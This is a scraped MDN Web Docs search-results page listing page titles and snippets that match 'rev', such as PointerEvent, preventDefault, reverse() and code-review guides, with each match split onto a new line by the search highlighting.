Search completed in 1.87 seconds.
PointerEvent.PointerEvent() - Web APIs
the pointe
revent() constructor creates a new synthetic and untrusted pointe
revent object instance.
... syntax event = new pointe
revent(type, pointe
reventinit); arguments type is a domstring representing the name of the event (see pointe
revent event types).
... pointe
reventinitoptional is a pointe
reventinit dictionary, having the following fields: pointerid — optional and defaulting to 0, of type long, that sets the value of the instance's pointe
revent.pointerid.
...And 11 more matches
SensorErrorEvent.SensorErrorEvent() - Web APIs
the sensorerro
revent constructor creates a new sensorerro
revent object which provides information about errors thrown by any of the interfaces based on sensor.
... syntax sensorerro
revent = new sensorerro
revent(type, {error: domexception}); parameters type will always be 'sensorerro
revent'.
... specifications specification status comment generic sensor apithe definition of 'sensorerro
revent' in that specification.
Localization technical reviews
this guide provides details on what a localization technical
review is, what criteria are used for the technical
reviews, and the process for requesting one and following its progress.
... the technical
review process we use for new localizations can be confusing for any trying to start a new localization.
... we use this
review process to perform quality assurance (qa) testing on your l10n efforts.
...And 29 more matches
Localization sign-off reviews
this article presents an overview of why we do sign-off
reviews of localizations, the details on the criteria used for the sign-off
reviews, and the process for requesting a
review and for following its progress.
... the sign-off
review process has been notoriously shrouded in mystery.
... we use this
review process to perform quality assurance (qa) testing on your l10n efforts.
...And 26 more matches
nsITaskbarPreviewController
widget/public/nsitaskbarp
reviewcontroller.idlscriptable this interface is used on microsoft windows to provide the behavior of taskbar p
reviews.
... its methods and properties are used by the nsitaskbarp
review interface.
...depending on whether the controller is connected to an nsitaskbartabp
review or nsitaskbarwindowp
review, only certain methods and attributes need to be implemented.
...And 17 more matches
revert - CSS: Cascading Style Sheets
the
revert css keyword
reverts the cascaded value of the property from its current value to the value the property would have had if no changes had been made by the current style origin to the current element.
... if used by a site's own styles (the author origin),
revert rolls back the property's cascaded value to the user's custom style, if one exists; otherwise, it rolls the style back to the user agent's default style.
... if used in a user's custom stylesheet, or if the style was applied by the user (the user origin),
revert rolls back the cascaded value to the user agent's default style.
...And 16 more matches
nsITaskbarWindowPreview
widget/public/nsitaskbarwindowp
review.idlscriptable this interface is used on microsoft windows to represent the p
review for a window in the taskbar.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsitaskbarp
review last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can't directly instantiate this interface; instead, call nsiwintaskbar.gettaskbarwindowp
review() to get the taskbar p
review for a specific window.
... window p
review behavior by default, windows implements much of the behavior for applications in a standard way.
...And 15 more matches
PointerEvent - Web APIs
the pointe
revent interface represents the state of a dom event produced by a pointer such as the geometry of the contact point, the device type that generated the event, the amount of pressure that was applied on the contact surface, etc.
... constructors pointe
revent() creates a synthetic—and untrusted—pointe
revent.
... pointe
revent.pointerid read only a unique identifier for the pointer causing the event.
...And 15 more matches
nsITaskbarTabPreview
widget/public/nsitaskbartabp
review.idlscriptable this interface is used on microsoft windows to control tab p
review specific behavior.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsitaskbarp
review last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) tab p
review support is disabled by default in gecko 1.9.2 creating an nsitaskbartabp
review for a window will automatically hide that window's nsitaskbarwindowp
review; this is done by windows and cannot be p
revented.
... when there are no more tab p
reviews left for a window, the window p
review is automatically made visible again.
...And 11 more matches
Mailnews and Mail code review requirements
this document describes the process for
reviewing patches to the mozilla/mailnews and mozilla/mail directories.
... mailnews and mail
review rules patches affecting thunderbird user experience or interfaces note: it is recommended that when working on bugs that affect user experience or interfaces, that ui-
review is obtained at an early stage in the patch development process.
... getting early ui-
reviews this reduces the chance that work is rejected due to needing further user experience changes, and hence is aimed at saving time for the developer and
reviewers.
...And 11 more matches
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
the html abb
reviation element (<abbr>) represents an abb
reviation or acronym; the optional title attribute can provide an expansion or description for the abb
reviation.
...the title attribute has a specific semantic meaning when used with the <abbr> element; it must contain a full human-readable description or expansion of the abb
reviation.
... usage notes typical use cases it's certainly not required that all abb
reviations be marked up using <abbr>.
...And 10 more matches
JS_PreventExtensions
syntax // added in spidermonkey 45 bool js_p
reventextensions(jscontext *cx, js::handleobject obj, js::objectopresult &result); // obsolete since jsapi 39 bool js_p
reventextensions(jscontext *cx, js::handleobject obj, bool *succeeded); name type description cx jscontext * the context.
... in javascript this may be accomplished using the object.p
reventextensions method.
... the similar jsapi method is js_p
reventextensions.
...And 9 more matches
nsITaskbarPreview
widget/public/nsitaskbarp
review.idlscriptable this interface is used on microsoft windows as a common interface for both window and tab taskbar p
reviews.
...instead, you use nsitaskbartabp
review or nsitaskbarwindowp
review as appropriate.
... method overview void invalidate(); attributes attribute type description active boolean indicates whether or not the p
review is marked as active (currently selected) in the taskbar.
...And 9 more matches
Object.preventExtensions() - JavaScript
the object.p
reventextensions() method p
revents new properties from ever being added to an object (i.e.
... p
revents future extensions to the object).
... syntax object.p
reventextensions(obj) parameters obj the object which should be made non-extensible.
...And 8 more matches
ErrorEvent - Web APIs
the erro
revent interface represents events providing information related to errors in scripts or in files.
...height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/erro
revent" target="_top"><rect x="116" y="1" width="100" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="166" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">erro
revent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits propert...
... erro
revent.message read only is a domstring containing a human-readable error message describing the problem.
...And 7 more matches
Event.preventDefault() - Web APIs
the event interface's p
reventdefault() method tells the user agent that if the event does not get explicitly handled, its default action should not be taken as it normally would be.
... as noted below, calling p
reventdefault() for a non-cancelable event, such as one dispatched via eventtarget.dispatchevent(), without specifying cancelable: true has no effect.
... syntax event.p
reventdefault(); examples blocking default click handling toggling a checkbox is the default action of clicking on a checkbox.
...And 7 more matches
Reflect.preventExtensions() - JavaScript
the static reflect.p
reventextensions() method p
revents new properties from ever being added to an object (i.e., p
revents future extensions to the object).
... it is similar to object.p
reventextensions(), but with some differences.
... syntax reflect.p
reventextensions(target) parameters target the target object on which to p
revent extensions.
...And 7 more matches
Array.prototype.reverse() - JavaScript
the
reverse() method
reverses an array in place.
... syntax a.
reverse() return value the
reversed array.
... description the
reverse method transposes the elements of the calling array object in place, mutating the array, and returning a reference to the array.
...And 6 more matches
Proxy.revocable() - JavaScript
the proxy.
revocable() method is used to create a
revocable proxy object.
... syntax proxy.
revocable(target, handler); parameters target a target object to wrap with proxy.
... return value a newly created
revocable proxy object is returned.
...And 6 more matches
RTCIdentityErrorEvent - Web APIs
the rtcidentityerro
revent interface represents an error associated with the identity provider (idp).
... firefox implements this interface under the following name: rtcpeerconnectionidentityerro
revent.
... properties a rtcidentityerro
revent being an event, this event also implements these properties.
...And 5 more matches
handler.preventExtensions() - JavaScript
the handler.p
reventextensions() method is a trap for object.p
reventextensions().
... syntax const p = new proxy(target, { p
reventextensions: function(target) { } }); parameters the following parameter is passed to the p
reventextensions() method.
... return value the p
reventextensions() method must return a boolean value.
...And 5 more matches
Node.previousSibling - Web APIs
the node.p
revioussibling read-only property returns the node immediately preceding the specified one in its parent's childnodes list, or null if the specified node is the first in that list.
... syntax p
reviousnode = node.p
revioussibling; example <img id="b0"> <img id="b1"> <img id="b2"> console.log(document.getelementbyid("b1").p
revioussibling); // <img id="b0"> console.log(document.getelementbyid("b2").p
revioussibling.id); // "b1" notes gecko-based browsers insert text nodes into a document to represent whitespace in the source markup.
... therefore a node obtained, for example, using node.firstchild or node.p
revioussibling may refer to a whitespace text node rather than the actual element the author intended to get.
...And 4 more matches
::-ms-reveal - Archive of obsolete content
the ::-ms-
reveal css pseudo-element is a microsoft extension that is used to display a password
reveal button for use with a password field created by <input type="password">.
... the user presses the button to
reveal the actual field value rather than asterisks.
... the password
reveal button is usually displayed at the edge of the password field.
...And 3 more matches
Reviewer Checklist
this article provides a list of best practices for your patch content that
reviewers will check for or require.
... following these best practices will lead to a smoother, more rapid process of
review and acceptance.
...commonly this results in "part 0" of a bug, which is "tidy things up to make the fix easier to write and
review".
...And 3 more matches
nsITaskbarPreviewButton
widget/public/nsitaskbarp
reviewbutton.idlscriptable this interface is used on microsoft windows to get access to a window p
review's toolbar button properties.
... these buttons are displayed below the window p
review.
...instead, you use the nsitaskbarwindowp
review.getbutton() to get the objects representing the buttons.
...And 3 more matches
SpeechSynthesisErrorEvent - Web APIs
the speechsynthesiserro
revent interface of the web speech api contains information about any errors that occur while processing speechsynthesisutterance objects in the speech service.
... properties speechsynthesiserro
revent extends the speechsynthesisevent interface, which inherits properties from its parent interface, event.
... speechsynthesiserro
revent.error read only returns an error code indicating what has gone wrong with a speech synthesis attempt.
...And 3 more matches
Event.defaultPrevented - Web APIs
the defaultp
revented read-only property of the event interface returns a boolean indicating whether or not the call to event.p
reventdefault() canceled the event.
... note: you should use this instead of the non-standard, deprecated getp
reventdefault() method (see bug 691151).
... syntax var defaultwasp
revented = event.defaultp
revented; value a boolean, where true indicates that the default user agent action was p
revented, and false indicates that it was not.
...And 2 more matches
NonDocumentTypeChildNode.previousElementSibling - Web APIs
the nondocumenttypechildnode.p
reviouselementsibling read-only property returns the element immediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list.
... syntax p
revnode = elementnodereference.p
reviouselementsibling; example <div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <li>this is a list item</li> <li>this is another list item</li> <div id="div-03">here is div-03</div> <script> let el = document.getelementbyid('div-03').p
reviouselementsibling; document.write('<p>siblings of div-03</p><ol>'); while (el) { document.write('<li>' + el.nodename + '</li>'); el = el.p
reviouselementsibling; } document.write('</ol>'); </script> this example outputs the following into the page when it loads: siblings of div-03 1.
...div polyfills polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following snippet can be used to add support to ie8: // source: https://github.com/alhadis/snippets/blob/master/js/polyfills/ie8-child-elements.js if(!("p
reviouselementsibling" in document.documentelement)){ object.defineproperty(element.prototype, "p
reviouselementsibling", { get: function(){ var e = this.p
revioussibling; while(e && 1 !== e.nodetype) e = e.p
revioussibling; return e; } }); } polyfill for internet explorer 9+ and safari // source: https://github.com/jserz/js_piece/blob/master/dom/nondocumenttypechildnode/p
reviouselementsibling/p
reviouselementsibling.md (function (arr) { arr.foreach(function (item) { if (...
...And 2 more matches
RTCErrorEvent - Web APIs
the webrtc api's rtcerro
revent interface represents an error sent to a webrtc object.
... constructor rtcerro
revent() creates and returns a new rtcerro
revent object.
... properties in addition to the standard properties available on the event interface, rtcerro
revent also includes the following: error read only an rtcerror object specifying the error which occurred; this object includes the type of error that occurred, information about where the error occurred (such as which line number in the sdp or what sctp cause code was at issue).
...And 2 more matches
RTCPeerConnectionIceErrorEvent - Web APIs
the rtcpeerconnectioniceerro
revent interface—based upon the event interface—provides details pertaining to an ice error announced by sending an icecandidateerror event to the rtcpeerconnection object.
... constructor rtcpeerconnectioniceerro
revent() creates and returns a new rtcpeerconnectioniceerro
revent object, with its type and other properties initialized as specified in the parameters.
... properties the rtcpeerconnectioniceerro
revent interface includes the properties found on the event interface, as well as the following properties: address read only a domstring providing the local ip address used to communicate with the stun or turn server being used to negotiate the connection, or null if the local ip address has not yet been exposed as part of a local ice candidate.
...And 2 more matches
SpeechRecognitionErrorEvent - Web APIs
the speechrecognitionerro
revent interface of the web speech api represents error messages from the recognition service.
... properties speechrecognitionerro
revent also inherits properties from its parent interface, event.
... speechrecognitionerro
revent.error read only returns the type of error raised.
...And 2 more matches
Animation.reverse() - Web APIs
the animation.
reverse() method of the animation interface
reverses the playback direction, meaning the animation ends at its beginning.
...if called on a paused animation, the animation will continue in
reverse.
... syntax animation.
reverse(); parameters none.
...it is done by setting alicechange's animation.playbackrate to -1 like so: var shrinkalice = function() { // play alice's animation in
reverse alicechange.playbackrate = -1; alicechange.play(); // play the bottle's animation drinking.play() } but it could also have been done by calling
reverse() on alicechange like so: var shrinkalice = function() { // play alice's animation in
reverse alicechange.
reverse(); // play the bottle's animation drinking.play() } specifications specification status comment web animationsthe definition of '
reverse()' ...
compareVersion - Web APIs
compa
reversion compares the version of a file or package with the version of an existing file or package.
... method of installtrigger object syntax int compa
reversion ( string registryname, installversion version); int compa
reversion ( string registryname, string version); int compa
reversion ( string registryname, int major, int minor, int release, int build); parameters the compa
reversion method has the following parameters: registryname the pathname in the client version registry for the component whose version is to be compared.
... the following constants can be used to check the value returned by compa
reversion: int major_diff = 4; int minor_diff = 3; int rel_diff = 2; int bld_diff = 1; int equal = 0; in communicator 4.5, the following constants are defined and available for checking the value returned by compa
reversion: <code>installtrigger.major_diff installtrigger.minor_diff installtrigger.rel_diff installtrigger.bld_diff installtrigger.equal </code> description the compa
reversion method...
...if registryname represents a file, compa
reversion checks for the existence of the file.
NodeIterator.previousNode() - Web APIs
the nodeiterator.p
reviousnode() method returns the p
revious node in the set represented by the nodeiterator and moves the position of the iterator backwards within the set.
... syntax node = nodeiterator.p
reviousnode(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false // this optional argument is not used any more ); currentnode = nodeiterator.nextnode(); // returns the next node p
reviousnode = nodeiterator.p
reviousnode(); // same result, since we backtracked to the p
revious node specifications specification status ...
... comment domthe definition of 'nodeiterator.p
reviousnode' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.p
reviousnode' in that specification.
Permissions.revoke() - Web APIs
the permissions.
revoke() method of the permissions interface
reverts a currently set permission back to its default state, which is usually prompt.
... var
revokepromise = navigator.permissions.
revoke(descriptor); parameters descriptor an object based on the permissiondescriptor dictionary that sets options for the operation consisting of a comma-separated list of name-value pairs.
... example this function can be used by an app to request that its own geolocation api permission be
revoked.
... function
revokepermission() { navigator.permissions.
revoke({name:'geolocation'}).then(function(result) { report(result.state); }); } ...
PointerEvent.pointerId - Web APIs
the pointerid read-only property of the pointe
revent interface is an identifier assigned to a given pointer event.
... syntax var id = pointe
revent.pointerid; return value id the pointer event's unique identifier number.
... example the following code snippet compares a p
reviously saved pointerid with the one of the pointerdown event that was just fired.
... let id; // let's assume that this is a p
reviously saved pointerid target.addeventlistener('pointerdown', function(event) { // compare p
revious event's id that was cached // to current event's id and handle accordingly if (id === event.pointerid) process_event(event); }, false); specifications specification status comment pointer events – level 2the definition of 'pointerid' in that specification.
SensorErrorEvent - Web APIs
the sensorerro
revent interface of the sensor apis provides information about errors thrown by a sensor or related interface.
... constructor sensorerro
revent.sensorerro
revent() creates a new sensorerro
revent object.
... properties sensorerro
revent.error read only returns the domexception object passed in the event's contructor.
... specifications specification status comment generic sensor apithe definition of 'sensorerro
revent' in that specification.
TypedArray.prototype.reverse() - JavaScript
the
reverse() method
reverses a typed array in place.
...this method has the same algorithm as array.prototype.
reverse().
... syntax typedarray.
reverse(); return value the
reversed array.
... examples using
reverse var uint8 = new uint8array([1, 2, 3]); uint8.
reverse(); console.log(uint8); // uint8array [3, 2, 1] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.
reverse' in that specification.
CredentialsContainer.preventSilentAccess() - Web APIs
the p
reventsilentaccess() method of the credentialscontainer interface sets a flag that specifies whether automatic log in is allowed for future visits to the current origin, then returns an empty promise.
... syntax var promise = credentialscontainer.p
reventsilentaccess() parameters none.
... specifications specification status comment credential management level 1the definition of 'p
reventsilentaccess()' in that specification.
MediaRecorderErrorEvent() - Web APIs
the mediarecordererro
revent() constructor creates a new mediarecordererro
revent object that represents an error that occurred during the recording of media by the mediastream recording api.
... syntax var erro
revent = new mediarecordererro
revent(errorinfo) parameters errorinfo an object describing the error object to be created.
... specifications specification status comment mediastream recordingthe definition of 'mediarecordererro
revent()' in that specification.
MediaRecorderErrorEvent.error - Web APIs
the read-only error property in the mediarecordererro
revent interface is a domexception object providing details about the exception that was thrown by a mediarecorder instance.
... syntax error = mediarecordererro
revent.error; value a domexception describing the error represented by the event.
...ecorder; handle that */ } recorder.ondataavailable = function(event) { bufferlist.push(event.data); }; recorder.onerror = function(event) { let error = event.error; }; recorder.start(100); /* 100ms time slices per buffer */ return recorder; } specifications specification status comment mediastream recordingthe definition of 'mediarecordererro
revent.error' in that specification.
MediaRecorderErrorEvent - Web APIs
the mediarecordererro
revent interface represents errors returned by the mediastream recording api.
... constructor mediastreamrecorde
revent() creates and returns a new mediarecordererro
revent event object with the given parameters.
... specifications specification status comment mediastream recordingthe definition of 'mediarecordererro
revent' in that specification.
PointerEvent.getCoalescedEvents() - Web APIs
the getcoalescedevents() method of the pointe
revent interface returns a sequence of all pointe
revent instances that were coalesced into the dispatched pointermove event.
... syntax var pointe
revents[] = pointe
revent.getcoalescedevents() parameters none.
... returns a sequence of pointe
revent instances.
PointerEvent.height - Web APIs
the height read-only property of the pointe
revent interface represents the height of the pointer's contact geometry, along the y-axis (in css pixels).
... syntax var contactheight = pointe
revent.height; return value contactheight the height of the event's contact area (in css pixels).
... example an example of this property is included in the pointe
revent.width example.
PointerEvent.pointerType - Web APIs
the pointertype read-only property of the pointe
revent interface indicates the device type (mouse, pen, or touch) that caused a given pointer event.
... syntax var ptype = pointe
revent.pointertype; return value ptype the event's pointer type.
...this means that a pointe
revent whose pointertype is mouse will be a double.
PointerEvent.width - Web APIs
the width read-only property of the pointe
revent interface represents the width of the pointer's contact geometry along the x-axis, measured in css pixels.
... syntax var contactwidth = pointe
revent.width; return value contactwidth the width of the event's contact area (in css pixels).
... example this example illustrates using the pointe
revent interface's width and height properties to calculate the contact area.
RTCErrorEvent.error - Web APIs
the read-only rtcerro
revent property error contains an rtcerror object describing the details of the error which the event is announcing.
... syntax let errorinfo = rtcerro
revent.error; value an rtcerror object whose properties provide details about the error which has occurred in the context of a webrtc operation.
...you can also use the rtcdatachannel object's onerror event handler property, like this: datachannel.onerror = (event) => { let error = event.error; /* and so forth */ }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcerro
revent.error' in that specification.
RTCPeerConnectionIceErrorEvent.address - Web APIs
the rtcpeerconnectioniceerro
revent property address is a string which indicates the local ip address being used to communicate with the stun or turn server during negotiations.
... syntax let address = rtcpeerconnectioniceerro
revent.address; value a domstring which specifies the local ip address of the network connection to the ice server with which negotiations were occurring when the error occurred.
...c.addeventlistener("icecandidateerror", (event) => { let networkinfo = `[local interface: ${event.address}:${event.port}`; let iceserverinfo = `[ice server: ${event.url}`; showmessage(errortext, iceserverinfo, networkinfo); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceerro
revent.address' in that specification.
TreeWalker.previousNode() - Web APIs
the treewalker.p
reviousnode() method moves the current node to the p
revious visible node in the document order, and returns the found node.
... syntax node = treewalker.p
reviousnode(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.p
reviousnode(); // returns null as there is no parent specifications specification status comment domthe definition of 'treewalker.p
reviousnode' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.p
reviousnode' in that specification.
TreeWalker.previousSibling() - Web APIs
the treewalker.p
revioussibling() method moves the current node to its p
revious sibling, if any, and returns the found sibling.
... syntax node = treewalker.p
revioussibling(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.p
revioussibling(); // returns null as there is no p
revious sibiling specifications specification status comment domthe definition of 'treewalker.p
revioussibling' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.p
revioussibling' in that specification.
URL.revokeObjectURL() - Web APIs
the url.
revokeobjecturl() static method releases an existing object url which was p
reviously created by calling url.createobjecturl().
... syntax url.
revokeobjecturl(objecturl) parameters objecturl a domstring representing a object url that was p
reviously created by calling createobjecturl().
... specification specification status comment file apithe definition of '
revokeobjecturl()' in that specification.
ontextrevert - Archive of obsolete content
« xul reference home ontext
revert obsolete since gecko 1.9.1 type: script code note: applies to: thunderbird, seamonkey this event handler is called when the user presses escape to
revert the textbox to its original uncompleted value.
... as of gecko 1.9.1, this attribute is superseded by the ontext
reverted attribute.
getPreviousItem - Archive of obsolete content
« xul reference home getp
reviousitem( startitem, delta ) return type: element this method returns the item a given distance (delta) before the specified startitem, or null if no such item exists.
... this example will return the item five rows before someitem: getp
reviousitem ( someitem, 5 ); ...
PL_CompareValues
syntax #include <plhash.h> printn pl_compa
revalues(const void *v1, const void *v2); description pl_compa
revalues compares the two void * values v1 and v2 numerically, i.e., it returns the value of the expression v1 == v2.
... pl_compa
revalues can be used as the comparator function for integer or pointer-valued key or entry value.
PR_PREV_LINK
syntax #include <prclist.h> prclist *pr_p
rev_link (prclist *elemp); parameter elemp a pointer to the element.
... description pr_p
rev_link returns a pointer to the element preceding the specified element.
PreviousSibling
« nsiaccessible page summary returns p
revious node in accessible tree.
... attribute nsiaccessible p
revioussibling; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
PointerEvent.isPrimary - Web APIs
the isprimary read-only property of the pointe
revent interface indicates whether or not the pointer device that created the event is the primary pointer.
... syntax var isprimary = pointe
revent.isprimary; return value isprimary returns true if the pointer for this event is the primary pointer and returns false otherwise.
PointerEvent.pressure - Web APIs
the pressure read-only property of the pointe
revent interface indicates the normalized pressure of the pointer input.
... syntax var pressure = pointe
revent.pressure; return value pressure the normalized pressure of the pointer input in the range of 0 to 1, inclusive, where 0 and 1 represent the minimum and maximum pressure the hardware is capable of detecting, respectively.
PointerEvent.tangentialPressure - Web APIs
the tangentialpressure read-only property of the pointe
revent interface represents the normalized tangential pressure of the pointer input (also known as barrel pressure or cylinder stress).
... syntax var tanpressure = pointe
revent.tangentialpressure; return value a float representing the normalized tangential pressure of the pointer input in the range -1 to 1, inclusive, where 0 is the neutral position of the control.
PointerEvent.tiltX - Web APIs
the tiltx read-only property of the pointe
revent interface is the angle (in degrees) between the y-z plane of the pointer and the screen.
... syntax var tiltx = pointe
revent.tiltx; return value tiltx the angle in degrees between the y-z plane of the pointer (stylus) and the screen.
PointerEvent.tiltY - Web APIs
the tilty read-only property of the pointe
revent interface is the angle (in degrees) between the x-z plane of the pointer and the screen.
... syntax var tilty = pointe
revent.tilty; return value tilty the angle in degrees between the x-z plane of the pointer (stylus) and the screen.
PointerEvent.twist - Web APIs
the twist read-only property of the pointe
revent interface represents the clockwise rotation of the pointer (e.g., pen stylus) around its major axis, in degrees.
... syntax var twist = pointe
revent.twist; return value a long value representing the amount of twist, in degrees, applied to the transducer (pointer).
RTCIdentityErrorEvent.idp - Web APIs
the read-only property rtcidentityerro
revent.idp returns the domstring describing the domain name of the identity provider (idp) generating the error response event.
... firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerro
revent.
RTCIdentityErrorEvent.loginUrl - Web APIs
the read-only property rtcidentityerro
revent.loginurl is a domstring giving the url where the user can complete the authentication.
... firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerro
revent.
RTCIdentityErrorEvent.protocol - Web APIs
the read-only property rtcidentityerro
revent.protocol is a domstring describing the idp protocol in use.
... firefox implements the interface of this property under the following name: rtcpeerconnectionidentityerro
revent.
SensorErrorEvent.error - Web APIs
the error read-only property of the sensorerro
revent interface returns the domexception object passed in the event's contructor.
... syntax var domexception = sensorerro
revent.error; value a domexception.
SpeechSynthesisErrorEvent.error - Web APIs
the error property of the speechsynthesiserro
revent interface returns an error code indicating what has gone wrong with a speech synthesis attempt.
... inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.error('an error has occurred wi...
ontextreverted - Archive of obsolete content
« xul reference home ontext
reverted new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when the user presses escape to
revert the textbox to its original uncompleted value.
nsIDataSignatureVerifier
security/manager/ssl/public/nsidatasignatu
reverifier.idlscriptable an interface for verifying that a given string of data was signed by the private key matching the given public key.
Index - Web APIs
78 animation.
reverse() api, animation, interface, method, reference, web animations,
reverse, waapi, web animations api the animation.
reverse() method of the animation interface
reverses the playback direction, meaning the animation ends at its beginning.
...if called on a paused animation, the animation will continue in
reverse.
... 134 audiocontext.resume() api, audio, audiocontext, method, reference, web audio api, resume the resume() method of the audiocontext interface resumes the progression of time in an audio context that has p
reviously been suspended.
...And 158 more matches
Index - Archive of obsolete content
these are the sort of things that super-
review should be catching for code that goes into the tree; avoiding these to start with saves super-
reviewers a lot of effort.
...this practice is dangerous and will not, in fact, pass an amo
review.
... 269 adding menus and submenus add-ons, codingscripting, macs, xul, apple the hello world example in the p
revious sections shows the two most common ways to add menus.
...And 45 more matches
Index
many (if not most) of the operations performed by nss involve the use of x.509 certificates (often abb
reviated as “cert”, unfortunately making it easy to confuse with the term “computer emergency response team“).
...the intention is to make it easier to
review code for security.
... the less code that has access to raw secret keys, the less code that must be
reviewed.
...And 30 more matches
JavaScript Daemons Management - Archive of obsolete content
1.0
rev.
...*/ daemon.prototype; daemon.context.constructor = object; /* these properties can be manually reconfigured after the creation of the daemon */ daemon.prototype.owner = daemon.context; daemon.prototype.task = null; daemon.prototype.rate = 100; daemon.prototype.length = infinity; daemon.prototype.
reversals = 0; daemon.prototype.onstart = null; daemon.prototype.onstop = null; /* these properties should be read-only after the creation of the daemon */ daemon.prototype.session = -1; daemon.prototype.index = 0; daemon.prototype.paused = true; daemon.prototype.backw = true; /* system required daemon global object methods */ daemon.forcecall = function (odmn) { odmn.inde...
...-1 : 1; var bbreak = odmn.task.call(odmn.owner, odmn.index, odmn.length, odmn.backw) === false, bend = odmn.isatend(), binvert = odmn.
reversals > 0; if (bend && !binvert || bbreak) { odmn.pause(); return false; } if (bend && binvert) { odmn.backw = !odmn.backw; odmn.
reversals--; } return true; }; /* system not required daemon global object methods */ /** * daemon global object optional methods (shortcuts).
...And 26 more matches
sslfnc.html
it uses the ssl version number 3.1, appearing to be a "minor"
revision of ssl 3.0.
...two-way simultaneous communication is also known as "full duplex", abb
reviated fdx.
... ssl_cipherprefsetdefault enables or disables ssl2 or ssl3 cipher suites (subject to which cipher suites are permitted or disallowed by p
revious calls to one or more of the ssl export policy functions).
...And 24 more matches
Index
14 introduction to xpcom for the dom developing mozilla warning: this document has not yet been
reviewed by the dom gurus, it might contain some errors.
... 34 components.utils.evalinsandbox add-ons, developing mozilla, extensions, javascript, xpcom:language bindings, xpconnect the evalinsandbox() function enables you to evaluate javascript code inside a sandbox you've p
reviously created using the components.utils.sandbox constructor.
... 43 components.utils.makeobjectpropsnormal add-ons, developing mozilla, extensions, javascript, needstechnical
review, xpcom:language bindings, xpconnect ensures that the specified object's methods are all in the object's scope, and aren't cross-component wrappers.
...And 22 more matches
Key Values - Web APIs
scrolls up or displays the p
revious page of content.
...redoes or repeats a p
revious action.
...resumes a p
reviously paused application, if applicable.
...And 19 more matches
Anatomy of a video game - Game development
building a better main loop in javascript there are two obvious issues with our p
revious main loop: main() pollutes the window object (where all global variables are stored) and the example code did not leave us with a way to stop the loop unless the whole tab is closed or refreshed.
...the browser could accidentally * think this whole example continues from the p
revious line.
... the leading semicolon * marks the beginning of our new line if the p
revious one was not empty or terminated.
...And 18 more matches
Border-image generator - CSS: Cascading Style Sheets
</div> </div> <div class="separator"></div> <div class="property"> <div class="name">draggable</div> <div class="ui-checkbox" data-topic='drag-subject'></div> </div> <div class="property right"> <div class="name">section height</div> <div class="ui-input-slider" data-topic="p
review-area-height" data-min="400" data-max="1000"> </div> </div> </div> <div id="p
review_section" class="group section"> <div id="subject"> <div class="guideline" data-axis="y" data-topic="slice-top"></div> <div class="guideline" data-axis="x" data-topic="slice-right"></div> <...
...div class="guideline" data-axis="y" data-topic="slice-bottom"></div> <div class="guideline" data-axis="x" data-topic="slice-left"></div> </div> <div id="p
review"> </div> </div> <!-- controls --> <div id="controls" class="group section"> <!-- border-image-slice --> <div id="border-slice-control" class="category"> <div class="title"> border-image-slice </div> <div class="property"> <div class="name">fill</div> <div class="ui-checkbox" data-topic='slice-fill'></div> </div> </div> <!-- border-image-width --> <div id="border-width-control" class="category"> <div class="t...
... </div> </div> <div class="property"> <div class="ui-input-slider" data-topic="font-size" data-info="em size" data-unit="px" data-value="12" data-sensivity="3"> </div> </div> <div class="property"> <div class="ui-input-slider" data-topic="p
review-width" data-info="width" data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"></div> </div> <div class="property"> <div class="ui-input-slider" data-topic="p
review-height" data-info="height" data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"> </di...
...And 18 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
« p
reviousnext » this document was authored by taiga (gomita) gomibuchi and was originally published in japanese for the firefox developers conference summer 2007.
...the folder can be whe
rever you want, but for the purposes of this guide, we’ll assume it’s at c:\extensions\helloworld .
...during development, it’s important to minimize the number of steps between
revising a source file and running an operations check against those changes.
...And 17 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
found 528 pages: # page tags and summary 1 mdn web docs glossary: definitions of web-related terms beginner, definitions, dictionary, glossary, index, landing, terminology web technologies contain long lists of jargon and abb
reviations that are used in documentation and coding.
